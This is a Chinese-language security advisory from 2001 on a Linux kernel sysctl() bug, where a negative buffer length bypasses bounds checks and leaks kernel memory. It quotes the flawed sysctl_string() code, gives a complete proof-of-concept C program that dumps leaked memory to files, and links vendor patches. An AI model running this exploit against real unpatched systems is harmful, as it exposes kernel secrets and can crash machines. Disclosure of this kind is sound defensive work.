首页 -> 安全研究

安全研究

安全漏洞
Linux kernel sysctl() 泄漏内核内存漏洞

发布日期:2001-02-14
更新日期:2001-02-14

受影响系统:

Linux kernel 2.2.x
Linux kernel 2.4.x
  - Red Hat Linux 6.x - alpha, i386, i586, i686, sparc, sparc64
  - Red Hat Linux 7.0 - alpha, i386, i586, i686
  - Immunix OS 6.2
  - Immunix 7.0-beta
描述:

Linux kernel中的一个系统调用sysctl()用来实时的查询和更改系统设置。
它存在一个漏洞,未授权用户可以查询许多设置的内容。事实上,通过指定
一个负的buffer长度,用户可以读取几乎任意的内核内存。

问题代码在 linux/kernel/sysctl.c: sysctl_string() 中:


        int l, len;
...
        if (oldval && oldlenp) {
                if(get_user(len, oldlenp))
                        return -EFAULT;
                if (len) {
                        l = strlen(table->data);
                        if (len > l) len = l;
                        if (len >= table->maxlen)
                                len = table->maxlen;
                        if(copy_to_user(oldval, table->data, len))
                                return -EFAULT;

变量"len"的内容是完全在恶意用户的控制下的。既然"len"被宣称为有符号的,
因此攻击者可以将其设为负值。这就绕过了下面的两条检查语句:
                        if (len > l)
                        if (len >= table->maxlen)
接下来的copy_to_user()将把从"table->data"开始的指定长度的内核空间的数
据拷贝到用户空间中。                        

恶意用户也可能导致内核崩溃。

<*来源:Chris Evans (chris@SCARY.BEASTS.ORG) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Chris Evans (chris@SCARY.BEASTS.ORG)提供了下列测试代码:

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);


#define BUFLEN 1000000


int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;


  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;


  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);


  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);


  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;


  _sysctl(&args_of_great_doom);


  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}


建议:

部分Linux厂商已经提供了相应的安全公告和升级内核下载:

【RedHat Linux】

[RHSA-2001:013-05] Three security holes fixed in new kernel
https://listman.redhat.com/pipermail/redhat-watch-list/2001-February/000250.html

【Immunix Linux】

Immunix OS Security Advisory : IMNX-2001-70-002-01
http://download.immunix.org/ImmunixOS/7.0-beta/updates/IMNX-2001-70-002-01



浏览次数:4113
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障